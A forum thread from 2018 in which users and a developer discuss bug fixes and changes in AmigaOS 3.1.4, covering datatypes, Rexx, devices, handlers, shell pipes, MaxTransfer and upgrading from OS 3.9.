Datatypes: There is a new datatypes library which inherits many vectors from the Os 4.0 datatypes, including a functionality to read the source from memory rather than a file. Actually, if you ask me, this is probably a bit overdesigned as existing features in the dos.library could do the same. But, well, why not...

The datatypes themselves are beyond Os 3.9 state, with many many issues addressed. The 8svx datatype now also plays stereo, and the sound.datatype does so as well. Actually, sound.datatype somehow made strange assumptions about the memory type ("if it is not fast, it must be chip") that were not entirely true. It only worked because the compiler did not optimize so well and the code contained plenty duplications. One issue, however: The SVX datatype (without "8") from Aminet does not like it, simply because it does not follow the right protocol when allocating memory for the sound.datatype, so just remove. 8svx will take over.

The picture.datatype can handle RTG graphics just fine, as did the 3.9 counterpart, but had issues fixed concerning the placement of the graphics. If the image height was less than the screen height, the graphics would be rendered incorrectly. There is one difference, though, namely the interpretation of ENV:classes/datatypes/picture/forcev43.  What used to be a simple "yes/no" choice is now a list of programs that should be promoted to the V43 (Os 3.5) interface which allows rendering of RTG graphics. The list contains the usual suspects by default ("MultiView" and "IPrefs"), but can be enlarged as needed. See the FAQ for details.

Animation had a lot of issues, and caused a lot of trouble. First, buffering was simply incorrect such that one could not "go back" in an animation without causing strange artefacts. Then, it was a CPU hog because the main loader engine used "busy waiting" - a really bad design in a multitasking operating system. It also had issues rendering screen formats not native to the system which are now automatically promoted. Thus, a HAM8 Anim will now render correctly on an RTG screen on an ECS machine, or will be even requantized on an ECS screen. Hence, many more anims play now fine.

The anim.datatype (which uses the animation.datatype) also had issues concerning the interpretation of the frame count, it could be off by two frames.

What we did not modernize, but only bugfix were the gradientslider and colorwheel gadgets. Sorry, this was just too much work. But at least, both gadgets now interoperate with reaction, which did not work so well with the previous (V40) versions, so at least something.

There is neither a new text.datatype, so there is unfortunately no "copy/paste" in text. This is because we do not have reaction, and the version that supports this requires reaction. Too bad. Some parts would need to be rewritten to work on GadTools, but there was no time doing so.

What was common to all datatypes was, however, incorrect locking in the library handling functions such as LibOpen or LibExpunge. All implementations had race conditions which could leave a task running in one of the functions while the library is flushed under its feed. This was also fixed all along.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Oldsmobile_Mike on October 24, 2018, 09:01:01 PM
Datatypes: There is a new datatypes library which inherits many vectors from the Os 4.0 datatypes, including a functionality to read the source from memory rather than a file. Actually, if you ask me, this is probably a bit overdesigned as existing features in the dos.library could do the same. But, well, why not...

Am hoping someone can post a good comparison with the WarpDT's at some point.  Not really sure how to "compare", however.  Display speeds?  Color accuracy?  Probably something obvious that I'm not thinking of, LOL.  ;)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: utri007 on October 24, 2018, 09:16:42 PM
Chris Young's first versions of 68k Netsurf used datatypes, but he just couldn't get pages like amiga.org displayed correctly. Both speed, color and aligment problems.

Could you make a ques, would it be that those problems would be gone now? Netsurf uses now render and guigfx libraries.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 25, 2018, 08:19:47 AM
Chris Young's first versions of 68k Netsurf used datatypes, but he just couldn't get pages like amiga.org displayed correctly. Both speed, color and aligment problems.
The speed did not change, but there was definitely a bug in the color usage of the picture datatype I remember fixing. You could pass in a palette or request the palette from a picture, but this did not work in the Os 3.9 datatypes. It used to work in Os 3.1, but those did not support RTG graphics.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 25, 2018, 07:40:06 PM
There are a couple of changes in Rexx and around Rexx as well. First, the rexxsyslib.library did well in re-opening the mathieeedoubbas.library over and over again, but unfortunately ignored the result and only used the first library base. However, with the new "jumpy, the magic math library" the library base might have changed because the FPU was turned on. Not any more.

Then, we had a bug in FindDevice() which prevented rexx to locate scripts in multi-assigned ehem.. assigns. Instead of using dos.library functions, rexx there used Forbid()-locking for the dos-lists.

Finally, we had an issue in WORD(). It only takes 2 arguments, and not 2 or 3 arguments, so this was fixed.

Also, there are changes for all the commands in Rexxc. They now use ReadArgs() consistently, and hence support "?" as argument to query the arguments they take. "Rx" is a special case, but had special issues. If you ever tried to execute a script from "Ram Disk" like this
Code: [Select]
rx "Ram Disk:script.rexx"
you probably know. The above does not what you think, but tries to execute the string in quotes as rexx commands directly. To resolve that, "rx" takes a new argument "script" that enforces that the argument in quotes is a script and nothing else. This requires the new rexxsyslib.library as well.

Code: [Select]
rx script "Ram Disk:script.rexx"

hence does the right thing, and is also used by the shell implicitly for rexx scripts. The "script" argument brings another change, namely the interpretation of the script arguments. It then uses "shell-style" syntax, meaning that "*"" is the quote, because * is the escape character, unlike in rexx, where """" would indicate the quote (count the quotes!).

This is useful because
Code: [Select]
rx script "Ram Disk:script.rexx" "$arg"
expands correctly, even if the variable $arg contains blanks or quotes - which are escaped by the shell with an asterisk, not a double quote.

Last but not least, rexxsyslib.library contained since Os 3.9 the "RVI" (rexx variable interface) which allows setting rexx variables from rexx hosts. This used to be in amiga.lib (for strange reasons). The Os tools such as the workbench, ed but also multiview and some datatypes no longer link against amiga.lib, but use the RVI in the rexxsyslib.library directly, avoiding code duplications.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 26, 2018, 10:12:15 PM
More news on devices. We start with a seemingly harmless device, the clipboard.device. It (temporarily) keeps characters for copy & paste operations, or offloads it to disk. Strangely, by default to the RAM-Disk, which is probably not a good idea if RAM is low.
Anyhow. The clipboard.device is new. Really new. The problem with the old design was that it used Forbid()/Disable() locking, and hence did not work "so well" with multitasking. I am not even clear whether this always worked as intended, as the clipboard.device also made file operations to write clips to disk, and hence broke forbids.

The v45 clipboard.device uses semaphores. This is a bit touchy as one must not run into a semaphore conflict, aka "deadlock". It seems I succeeded there.

There are a couple of minor tweaks in the serial.device, especially to take precautions for some 68040 systems where blocking interrupts by writing to custom chips may leave a chance for a "delay slot" into which an interrupt may still be triggered. CMD_WRITE was also unnecessarily slow by requiring to go through an interrupt for writing the first character. This is no longer necessary.  Parity check was partially missing on CMD_READ, depending on the configuration.

There are not many changes in the parallel.device. The device used to add a sleeper port to the public port list, though who should look for it there as it is only used for internal operations. In fact, this was only used to initialize the port, so it was not needed.

What is common to all devices is that they support NSDQuery, i.e. support requesting the device command set. I am not a big fan of this mechanism as it has a couple of design issues, but it is too late to fix this, so we keep it (unfortunately).

The printer.device is a story of its own, so I will report separately. A longer story.

The mfm.device for crossdos trashed registers on some calls. It could also crash in case the code failed to initalize the disk geometry. CrossDos does, but not necessarily any other user. Also, its stack was really too small.

Last but not least, the narrator.device: Yes, it is not part of 3.1.4. Unfortunately. I had contact to its owner, SoftVoice, which is still in business. Unfortunately, they did not want to give a license, so we have to do without it. Too bad. The same goes for the translator.library. I case you wonder, SoftVoice also  provided S.A.M. (on C64 and the Atari 8-bit series). I would have loved to see, err. hear, narrator again.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 27, 2018, 10:57:37 AM
Datatypes: There is a new datatypes library...

Two questions about data types:

Are the Save methods implemented, which would allow rudimentary file format conversion?

Is progressive loading from stream inputs enabled for bitmaps, which would make them more suitable for use in a web browser type application?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 27, 2018, 02:32:02 PM
Input.device was the source of head aches ever since Amiga got USB support - was anything done to improve this, or are USB users advised to continue to use old patched input.device?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 27, 2018, 04:33:39 PM
Are the Save methods implemented, which would allow rudimentary file format conversion?
The picture.datatype supports DTM_WRITE, and so do the sound and the animation.datatype.

Is progressive loading from stream inputs enabled for bitmaps, which would make them more suitable for use in a web browser type application?
I afraid the datatypes system lacks the suitable abstraction to enable that, at least I wouldn't know how this should work.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 27, 2018, 07:03:11 PM
Are the Save methods implemented, which would allow rudimentary file format conversion?
The picture.datatype supports DTM_WRITE, and so do the sound and the animation.datatype.


Thanks but what I mean is do the sub types support it, for example Multiview has a Save menu, which by and large does nothing. It would be nice if you could load a file in ILBM format into Multiview and then save it out as PNG for example or vice versa, assuming save method was properly supported. Multiview would need some way of picking the target format from the list of compatible types too. This for me always seems like one of the features Commodore weren't able to finish what they intended, and while DefIcons picked up the slack of integrating datatypes with Workbench, I'd love to see this feature "finished".

As for progressive loading, datatypes should in theory allow creation from both a file handle, and a memory buffer, but the buffer needed to be fully populated already, datatypes couldn't provide partial renders based on progressive population of the buffer from say, and http stream, making it impossible for web browsers to progressively display jpegs, for example, decoding them line by line. Admittedly, that's less of an issue now in 2018 that everyone has megabit connectivity and images generally download instantly. I'm not familiar with OS4, but did they ever implement that capability?

By the way I used to work at Symbian, and we had a technology that allowed instantaneous blitting of compressed JPG and PNG files to the display, so you didn't need to store the uncompressed bitmap in ram before transferring it to the screen buffer. It would be decompressed at copy time.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 28, 2018, 09:08:02 AM
I afraid this is currently not how it works. Saving pictures, just to name one example, is a matter of the picture.datatype (or at least it provides a DTM_SAVE method), and the picture.datatype always saves in ILBM. Of course, any subclass would be able to overload DTM_SAVE if it wishes to, but this does not enable conversion to another format. It would only allow to save the image either in the original format (if overloaded by the subclass) or the ILBM type (if no overload is present and the picture datatype does).

Your requested feature would require that a datatype "adopts" the bitmap of another datatype, and then save that. Not sure whether this is available, but it is at least not one of the initial requirements of datatypes.

I would need to check what exactly the "Save" menu of multiview does, at this point, I do not recall.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on October 28, 2018, 09:40:26 AM
It's a shame, as that would have allowed for multiview to work as a basic file conversion tool. Everything to ILBM one way conversion is only useful for stuff like using any image type as a wallpaper or window decoration.

The other bit of datatypes 'never finished' was the ability to specify the default tools for each of the different methods - one for each of "misc", "info", "browse", "edit", "print" or "mail" - the function is there in the library to retrieve the tool (e.g. the Rexx host FINDTOOL method) but there's nowhere for the user to configure it in the first place. An easy way would be to have tooltypes in either the def_<type>.info file or in the DataTypes Descriptor. Then Workbench could have been able to support choosing an action other than 'Open using default tool'. This was all stuff alluded to in the 3.1 NDK as being planned for 3.2 but never finished after C= closed down.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 28, 2018, 05:19:12 PM
Input.device was the source of head aches ever since Amiga got USB support - was anything done to improve this, or are USB users advised to continue to use old patched input.device?
Frankly, I do not see why a patch would be necessary in first place, but I also lack information in this respect. The input.device is just a broker, it does not "generate" input. If a USB stack wants to generate input, it just needs to create an InputEvent and send it down the stream of input event handlers by means of a simple DoIO(). Why would anything need patching for that?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on October 29, 2018, 01:57:38 PM
Sorry, it's not really a patch as much as replacing entire input.device with one ported from MorphOS (v50), to (more) correctly handle multiple keyboard and multiple pointer devices.

I take your answer to mean that v50 input.device may still be what Poseidon USB stack users wish to use.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on October 31, 2018, 06:31:37 PM
Handlers are one level above devices, and reside in L:. Their interface stems from Tripos, and hence a lot of BCPL legacy is found here. The very last snipped of BCPL code is, however, finally gone. 3.1.4 includes a completely new Aux-Handler that was written from scratch in C. For those that do not know: Aux is the "serial" counterpart of CON:. Unlike SER:, which only reads and writes characters, AUX: also buffers lines and includes a couple of keyboard shortcuts for editing text. Hence, you can start a new shell on a serial terminal with
Code: [Select]
newshell AUX:
The AUX: handler here handles now also ^C through ^F more carefully, and ACTION_WAIT_FOR_CHAR allows buffering of multiple requests.

Speaking of SER: This is implemented by the Port-Handler, which is also responsible for PAR: and PRT:. It is also new and fixes many issues. The previous version crashed if multiple read or write requests were piled up, and hence did not support asynchronous I/O at all. It also tries to identify the nature of the device it talks to, and hence changes its interface to either speak "parallel", "serial" or "printer" language, even if you connect it to another device - which is also a new feature. If you open "SER:" with the additional "path name" NOWAIT (i.e. Open("SER:NOWAIT")), then SER: will not block when no characters are in the input buffer of the serial port. It will return immediately.

The full set of options encoded in the path name is "BAUD/N,CONTROL,RAW/S,NOWAIT/S,TRANSPARENT/S,UNIT/K/N", where "BAUD" sets the serial speed, and CONTROL sets the serial parameters, e.g. "8N1" is 8-bit, no parity, 1 stop bit. NOWAIT we discussed above. RAW turns off the translation from LF to LF/CR pairs for the printer, and TRANSPARENT disables the translation of Amiga-specific (ANSI) control characters to printer-specific sequences. UNIT sets the unit number.

For some strange reason, the old port handler neither supported ACTION_WAIT_FOR_CHAR, which was a logical packet to support, especially with the serial console. Strange...

Also, a ^C send to the requesting process aborts the I/O interface. If you previously send a string to PAR:, but the printer was not ready, the system deadlocked because the process cannot be aborted waiting for PAR: to return, which it never did... This changed now, and even a "LIST >PAR:" can be safely aborted.

Speaking of speaking, there is a revised SPEAK:-Handler, though no narrator.device for it. There is not much new, except for a couple of minor fixes. ^C to abort speaking did not work quite right, it also stayed in memory permanently, and parsing of opt/ as well.

The queue-handler is completely new and unrelated to any former QUEUE-Handler. It handles abortion of queues ("broken pipes") now correctly, and this is the queue-handler you should use for the new shell. Even though there is no "IN:" or "OUT:" as in Os 4, there is "PIPE:". That is,

Code: [Select]
type s:foo | type pipe: hex
is a complicated way to type s:foo in hex. The "PIPE:" file name of the second "type" command accesses the input pipe.

Similarly,
Code: [Select]
list lformat="..." | execute PIPE:
creates a list of commands with list, and executes it with "execute". Here, PIPE: also accesses the input stream (reading end) of the pipe. PIPE: can also be used as the writing end of a pipe, i.e.

Code: [Select]
type s:foo to PIPE: | type pipe: hex
works too, just more complicated. Hence, no need for "IN:" or "OUT:", just write "PIPE:" and it will figure out itself into which end of the pipe the stream will go, reading or writing.

Other than that, there are also named pipes, as before. They can be read or write by name. For example:
Code: [Select]
type s:foo to pipe:bar &
type pipe:bar hex
starts the first command in background, and then reads from the same pipe, with type again. Even more complicated than before, but does just the same...

There are more new handlers: CrossDos, and the CD File System. I will cover them later in a separate blog.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 01, 2018, 07:33:48 AM
What happens when "Execute" finds an "IF" in the pipe line? Will it patiently wait for "EndIF" till end of time?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 01, 2018, 07:49:10 AM
What happens when "Execute" finds an "IF" in the pipe line? Will it patiently wait for "EndIF" till end of time?
Execute does not find "If"s. Actually, execute does not know much about the shell. In best case, it just redirects the input stream of the shell. In worst case, it creates a temporary file in T: by copying its input to T: and then redirects the input stream of the shell. It does not interpret the command stream in either case. It only substitutes formal parameters.

The shell itself neither cares about "if". The "If" command does. All it does is to continue pulling lines from the shell input stream if the condition is false until it finds the matching "EndIf".

What will not work if you execute from a PIPE: is a "Skip Back" command, and that only if execute does not perform command substitution, i.e. if there are no formal parameters. That is because the pipe does not allow seeking, for obvious reasons.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: mschulz on November 01, 2018, 01:51:07 PM
Quote
Your requested feature would require that a datatype "adopts" the bitmap of another datatype, and then save that. Not sure whether this is available, but it is at least not one of the initial requirements of datatypes.

You could just adopt an enhancement from AROS. When you create new datatype object you may explicitly specify the DTA_BaseName tag in order to select proper class. This way one could use datatypes to e.g. load a picture from disk, create new datatype object with specified class (e.g. { DTA_BaseName, (ULONG)"png" }), transfer data between them (PDTM_READPIXELARRAY/PDTM_WRITEPIXELARRAY) and finally write new datatype object (DTM_WRITE). Dunno if picture.datatype from 3.1.4 support this.

Example of use (writing picture datatype object as PNG) can be found in AROS sources, e.g. in my mirror: https://github.com/michalsc/AROS/blob/master/workbench/tools/ScreenGrabber/main.c (https://github.com/michalsc/AROS/blob/master/workbench/tools/ScreenGrabber/main.c)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 01, 2018, 03:23:49 PM
All it does is to continue pulling lines from the shell input stream if the condition is false until it finds the matching "EndIf".

And if "EndIf" never comes?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 01, 2018, 03:58:26 PM
And if "EndIf" never comes?
Same as in other scripts. "If" runs into an EOF. If the writing end of a pipe closes the pipe, the reading end of the pipe receives an EOF as soon as the pipe buffer is exhausted.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on November 03, 2018, 08:27:24 PM
@ THoR
I'm updating my ROMS for sure in my A1200 desktop for sure and I will buy them for my A4000 too BUT I must admit I'm too darn scared to mess with my A4000 (CSMKIII-060, RTG-P96 etc etc.) since it's taken me forever to get her fast and stable over the years with OS3.9 and BB 1&2 and  :-\ ! Is there a way I can just physically change the ROMS in my A4000 and upgrade components separately without having to reinstall everything from scratch and deal with all the headaches over again ???


...then there's my A1200T, mediator setup which is another story all together lol :o
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on November 03, 2018, 08:35:39 PM
Use the updateto314.lha script on Aminet from Gulliver, it does a 'transplant' of the new bits of 3.1.4 without reinstalling. You can see what it's going to do, and modify it if you need, because it's a shell script. Mostly it's just copying stuff over the top, except where there's a good reason to keep the 3.9 version.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kreciu on November 03, 2018, 09:37:37 PM
I wonder why this could not be done "out of the box"? Is there option in 3.1.4 that is already sold to updade os 3.1 or 3.9? If not why not?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on November 04, 2018, 08:55:23 AM
It will update a 3.1 OK. 3.9 is a bit of a mess of a product.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 04, 2018, 09:47:23 AM
I wonder why this could not be done "out of the box"? Is there option in 3.1.4 that is already sold to updade os 3.1 or 3.9? If not why not?

The install script updated 3.1 to 3.1.4 or does a fresh install. For 3.9, the story is different, and Hyperion does not officially support an update from 3.9. For once, because we don't have the sources, for another, because there is an incompatibility between 3.1 and 3.9 we cannot resolve. The problem is that for reasons beyond me the assignment of IDs to localized strings is different such that all strings will come out wrong - at least for all the 3.9 preferences editors. There is another incompatibility with the way how the printer preferences works. 3.9 has one unified preferences file per printer, 3.1 (and thus 3.1.4) separate printer and printergfx preferences.

Hence, you can expect some problems with 3.1.4 on top of 3.9. There is unfortunately no way how to make 3.1.4 work simultaneously with 3.9 *AND* 3.1, and given that we wanted to make an update of 3.1 - as we have it - and not of 3.9 (which we do not have) this was the best way we could.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kreciu on November 04, 2018, 02:10:11 PM
I have nicely "crafted" OS3.9 and I was hoping to update  it manually. Based on what you are saying.. I should do clean install. To set up everything from scratch, it will keep me busy fir few weeks! Thank you Thomas 😏!

BTW. I HOPE there is "no click" in the new ROM, maybe in the future  it would be nice to have the BPPCfix 😏.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: BozzerBigD on November 04, 2018, 02:30:57 PM
@kreciu

Quote
I have nicely "crafted" OS3.9 and I was hoping to update  it manually. Based on what you are saying.. I should do clean install. To set up everything from scratch, it will keep me busy fir few weeks!

Why do you take that from what Thomas said? You have a working partition so either use the Aminet upgrade script or make do with what you've got. What benefit would you get from doing it manually? 

Use updateto314.lha script on Aminet from Gulliver! Job done.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 04, 2018, 03:40:03 PM
I would edit the OS 3.1.4 prefs programs with a binary capable editor (for example CED), and replace the LOCALE:Sys strings with LOCALE:314 and put OS 3.1.4 locales there, and keep OS 3.9 locales in LOCALE:Sys, and hence have both working. Or vice versa.

Most glaring problem that I am aware of is the IPrefs of OS 3.1.4 and 3.9 support different, incompatible supersets of IPrefs of OS 3.1.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: wiser3 on November 05, 2018, 09:37:16 PM
Is there a still a file size limit? I think it was 2GB, but i may not be remembering that right.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 06, 2018, 07:50:34 AM
Is there a still a file size limit? I think it was 2GB, but i may not be remembering that right.

Yes, though this file size limit is due to the dos.library interface. As long as you read and write data sequentially, you may get away with larger files, depending on the file system. As soon as you try to seek within the file, you are stuck at 2GB because the Seek() call in the dos.library uses singed LONGs to communicate the offset.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: chris on November 11, 2018, 01:43:10 PM
Quote
Your requested feature would require that a datatype "adopts" the bitmap of another datatype, and then save that. Not sure whether this is available, but it is at least not one of the initial requirements of datatypes.

You could just adopt an enhancement from AROS. When you create new datatype object you may explicitly specify the DTA_BaseName tag in order to select proper class. This way one could use datatypes to e.g. load a picture from disk, create new datatype object with specified class (e.g. { DTA_BaseName, (ULONG)"png" }), transfer data between them (PDTM_READPIXELARRAY/PDTM_WRITEPIXELARRAY) and finally write new datatype object (DTM_WRITE). Dunno if picture.datatype from 3.1.4 support this.

Example of use (writing picture datatype object as PNG) can be found in AROS sources, e.g. in my mirror: https://github.com/michalsc/AROS/blob/master/workbench/tools/ScreenGrabber/main.c (https://github.com/michalsc/AROS/blob/master/workbench/tools/ScreenGrabber/main.c)

This should already work in OS3. My little program I wrote and then subsequently started messing around with this feature appears to do something similar: http://aminet.net/package/gfx/conv/icontoiff.lha
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: chris on November 11, 2018, 02:07:21 PM
Chris Young's first versions of 68k Netsurf used datatypes, but he just couldn't get pages like amiga.org displayed correctly. Both speed, color and aligment problems.

Could you make a ques, would it be that those problems would be gone now? Netsurf uses now render and guigfx libraries.

You have a better memory than me! I thought the problem was speed but maybe not.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: chris on November 11, 2018, 10:37:24 PM
So... was the long-existing (possibly never worked) GadTools image menu (IM_ITEM) bug fixed?

http://forum.hyperion-entertainment.biz/viewtopic.php?f=26&t=94

Although that's an OS4 thread I'm pretty sure I tested it on OS3 and it didn't work there either. It would be nice to see this fixed in 3.1.4 especially as the fixes used in OS4 should be available.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 12, 2018, 06:19:41 AM
Shell v46.10 is rather broken, as FailAt no longer works, as reported on the mostly dysfunctional official support forum:
http://forum.hyperion-entertainment.biz/viewtopic.php?f=15&t=4156&p=46099#p46099

I am tempted to think this is not even a bug, but a "feature" to make sure "most users" systems boot, regardless of FailAt levels in Startup-Sequence ...
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 12, 2018, 10:36:07 AM
From FAQ...
Quote
* I read something about a setting called "Max Transfer", which is a
  value which I need to manually adjust according to my system. How do I
  set it up?

We decided to make things simpler for you, with AmigaOS 3.1.4 you
don't need to touch this setting for the built-in scsi.device. No
guarantees for third-party firmware, of course.

Still, I apparently need to set it for built-in scsi.device.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 12, 2018, 11:01:19 AM
No, does not. The scsi.device knows itself how many sectors it can transmit in one go.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: utri007 on November 12, 2018, 08:45:18 PM
Quote
No, does not. The scsi.device knows itself how many sectors it can transmit in one go.

Thanks. Kolla's FUD was availlabe only 24 minits. He seems to have hurry to be importan, so he can't check facts.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 13, 2018, 06:10:19 AM
Yeah yeah whatever, as long as code is eventually fixed, what do I care about accusations and name calling. Maybe the problem is that I (unlike the development team?) have actual Amiga hardware to perform tests and real life installations on.

When can users expect bugfixes for 3.1.4, and how? Through Hyperion? Through Aminet? What is the functional support channel for OS 3.1.4? Here? a1k? Certainly not Hyperion's forum, though specified in the FAQ.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 13, 2018, 06:53:37 AM
The scsi.device knows itself how many sectors it can transmit in one go.
So the scsi.device 45.7 that comes with the A600 kickstart has a certain maxtransfer value hardcoded, and does under no circumstances use values configured by HDToolBox?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 13, 2018, 08:29:31 AM
Shell v46.10 is rather broken.
It is not "rather broken". It is simply a bug. Such things happen. There is another bug with pipes which we did not spot.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 13, 2018, 08:37:35 AM
So the scsi.device 45.7 that comes with the A600 kickstart has a certain maxtransfer value hardcoded, and does under no circumstances use values configured by HDToolBox?
No, Kolla. You cannot, possibly, by any means, transmit more than 255 sectors in a row by the PIO IDE protocol. It is the protocol that has this value "hardcoded". Previous versions of the scsi.device falsely assumed that the limit was 256 blocks, not 255 blocks. This was, actually, true in some previous versions of the protocol which used the sector count 0 to indicate 256 sectors, but that is no longer true as the IDE protocol changed "under the feed of the scsi.device". The scsi.device was not adapted for this protocol change. If the scsi.device (in its IDE implementation) receives the request to transmit more than 255 blocks in a row, it *has* to break them up, but this transfer split happens transparent to its user, and it has to happen exactly this way.

There are similar limitations for SCSI in the number of sectors that can be read at once, but they are not quite as draconian as in the IDE protocol.

It is neither the scsi.device that looks at MaxTransfer. It is the file system, typically the FFS, to implement that. Previous versions of CrossDos and CDFS also simply ignored this value (as part of more defects), and I do not know for other file systems whether they handle this correct, but the FFS does.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 13, 2018, 10:20:16 AM
It is neither the scsi.device that looks at MaxTransfer. It is the file system, typically the FFS, to implement that. Previous versions of CrossDos and CDFS also simply ignored this value (as part of more defects), and I do not know for other file systems whether they handle this correct, but the FFS does.

Right - FFS in general, or FFS v45? The quote from the FAQ pretty much says "built-in" scsi.device solves _all_ maxtransfer issues, regardless.
Is it correct? Only for the "real" A600 and A1200 Gayle controller? Should it perhaps say that it may depend on hardware and filesystem? Are there situations with scsi.device v45 where MaxTransfer values should be adjusted?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 13, 2018, 10:40:54 AM
It is not "rather broken". It is simply a bug. Such things happen. There is another bug with pipes which we did not spot.

Arguing about semantics doesn't fix anything, if you have systems relying on correct failat handling, then the result is "broken".
Since the pipes in v46 shell is largely new, different and incompatible with previous pipe handling, I have not even looked at it beyond simple interactive use.

The question is though... will bugs be fixed and do one rely on Hyperion for distribution of fixes? Will you post updates on aminet?

Or will people have to wait for Gulliwhatshisname to release unofficial boingbags again? :p
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 13, 2018, 11:08:46 AM
Since the pipes in v46 shell is largely new, different and incompatible with previous pipe handling, I have not even looked at it beyond simple interactive use.
No, nothing is different. They work exactly alike existing pipe commands. Except that such commands had to second-guess the shell-syntax, which was certainly not an easy attempt, and - in fact - failed in multiple cases.

The question is though... will bugs be fixed and do one rely on Hyperion for distribution of fixes? Will you post updates on aminet?
It is fixed. When and how the fix will be available I do not know since it is not my decision.

Or will people have to wait for Gulliwhatshisname to release unofficial boingbags again? :p
How should I know that? This is not my decision.

You just complain, just like you ever only complained, without actually ever doing anything productive. I just wonder why I ever answer your posts...
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on November 13, 2018, 11:54:44 AM
Please ignore him Thomas. I only joined this board a month ago and already I can tell he's a moron.

Please continue to post your insider's knowhow. As an OS internals geek I crave your insights.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 13, 2018, 02:25:58 PM
Right - FFS in general, or FFS v45?
Any file system is obliged to implement MaxTransfer, a workaround that unfortunately became necessary due to many broken devices. FFS has it since day 1, that is, since it became available as part of v34. In fact, MaxTransfer was introduced with FFS as it was found that this workaround (along with Mask and BuffMemType) became necessary as the FFS was the first file system that implemented "burst transfers" bypassing any file system buffer.

The quote from the FAQ pretty much says "built-in" scsi.device solves _all_ maxtransfer issues, regardless.
Is it correct?
Yes, this is correct.

Should it perhaps say that it may depend on hardware and filesystem?
No, it should not. As this is not related to the file system. The *file system* implements MaxTransfer. But the new scsi.device does not require MaxTransfer. It knows itself how many blocks it can transfer in a row, and it knows itself how to break up the transfer in case a single PATA command is not sufficient for that.

MaxTransfer is just a workaround that became available with FFS to work around issues when devices *do not know* how much data they can transfer in one go, or are not sufficiently smart enough to break up transfers themselves. The scsi.device was always designed well enough to break up transfers, just that the point at which the transfer was broken up was computed incorrectly, due to a change in the specs that happened after the scsi.device was released.

Whether all PATA devices (or, as PATA is a dying species) all PATA-to-something adapters implement the block count correctly in their implementation is a question I cannot answer.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Pgovotsos on November 13, 2018, 05:51:53 PM
@Thomas so is it even necessary to have the maxtransfer field available? If it's not necessary for the user to change it shouldn't the field to edit it just be removed?

We've been trained over the years to diddle with maxtransfer for various devices. If it is handled automatically now, if a user doesn't read the documentation before using (I know, I know, but that's another discussion), wouldn't having it available for them to diddle with just cause problems?

I guess the questions that need answering to make it clear follow. Are there ANY circumstances with 3.1.4 that maxtransfer should be edited? Is it the case that whatever is entered is ignored since it is handled automatically now by Kickstart / devices?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Gulliver on November 13, 2018, 05:54:46 PM
@Thomas so is it even necessary to have the maxtransfer field available? If it's not necessary for the user to change it shouldn't the field to edit it just be removed?

We've been trained over the years to diddle with maxtransfer for various devices. If it is handled automatically now, if a user doesn't read the documentation before using (I know, I know, but that's another discussion), wouldn't having it available for them to diddle with just cause problems?

I guess the questions that need answering to make it clear follow. Are there ANY circumstances with 3.1.4 that maxtransfer should be edited? Is it the case that whatever is entered is ignored since it is handled automatically now by Kickstart / devices?

MaxTransfer is not an issue on scsi.device. Many third party scsi devices do need it.  ;D
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on November 13, 2018, 09:14:32 PM
